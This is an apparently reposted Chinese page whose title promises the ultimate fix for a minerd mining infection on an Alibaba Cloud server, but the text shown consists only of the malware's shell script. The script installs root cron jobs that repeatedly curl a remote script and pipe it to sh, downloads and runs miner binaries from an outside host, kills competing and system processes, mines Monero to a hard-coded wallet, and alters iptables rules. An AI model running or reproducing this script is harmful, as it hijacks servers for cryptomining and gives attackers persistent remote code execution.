阿里云服务器被挖矿程序minerd入侵的终极解决办法[转载]

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  
  
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root  
  
if [ ! -f "/tmp/ddg.217" ]; then  
    curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217  
fi  
chmod +x /tmp/ddg.217 && /tmp/ddg.217  
killall /tmp/ddg.216  
  
  
if [ -d "/opt/yam" ]; then  
    rm -rf /opt/yam  
fi  
  
ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9  
  
#/opt/minerd -h  
#if [ $? != "0" ]; then  
    #ps auxf|grep -v grep|grep "/opt/minerd"  
    #if [ $? != "0" ]; then  
        #if [ ! -f /opt/yam ]; then  
            #curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam  
        #fi  
        #chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr  
    #fi  
#fi  
  
DoMiner()  
{  
    if [ ! -f "/tmp/AnXqV" ]; then  
        curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV  
    fi  
    chmod +x /tmp/AnXqV  
    /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x  
}  
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner  
  
  
DoRedis6379()  
{  
    iptables -F REDIS6379  
    iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT  
    iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT  
    iptables -I INPUT -j REDIS6379  
}  
iptables -D OUTPUT -j REDIS6379  
iptables -F REDIS6379  
iptables -X REDIS6379  
iptables -D INPUT -j REDIS63792  
iptables -F REDIS63792  
iptables -X REDIS63792  
#iptables -N REDIS6379 && DoRedis6379